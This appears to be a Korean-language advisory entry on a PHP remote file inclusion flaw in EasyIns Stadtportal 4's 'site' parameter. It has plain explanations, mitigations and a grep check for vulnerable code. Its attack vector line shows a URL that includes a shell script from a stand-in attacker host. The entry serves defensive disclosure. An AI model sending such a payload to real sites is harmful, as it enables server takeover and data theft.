🇰🇷 한글 설명
EasyIns Stadtportal 4의 index.php에 있는 PHP 원격 파일 포함(RFI) 취약점으로, site 매개변수를 통해 공격자가 임의의 PHP 코드를 원격 실행할 수 있습니다. 서버 완전 장악 및 데이터 유출 위험이 있습니다.
💡 쉬운 설명
EasyIns Stadtportal 4의 'site' 파라미터에 다른 서버의 악성 파일 주소를 입력하면 공격자의 코드가 실행됩니다. 해커가 서버의 모든 파일과 데이터에 접근할 수 있게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in EasyIns Stadtportal 4 allows remote attackers to execute arbitrary PHP code via the site parameter.
📍 영향받는 시스템
EasyIns Stadtportal 4 및 이전 버전
⚔️ 공격 벡터
index.php?site=http://attacker.com/shell.php 형태로 원격 PHP 파일을 포함시켜 임의 코드 실행
🛡️ 대응 방법
최신 보안 패치 적용, site 매개변수 화이트리스트 검증 구현, allow_url_include php.ini 설정 비활성화
🔧 검증 코드
site 파라미터를 직접 include/require에 사용하는 코드가 나타나면 취약함. 입력값 검증이 없으면 RFI 공격 가능성 확인됨
grep -r 'include.*\$_GET\|require.*\$_GET' /var/www/html 2>/dev/null | grep -i site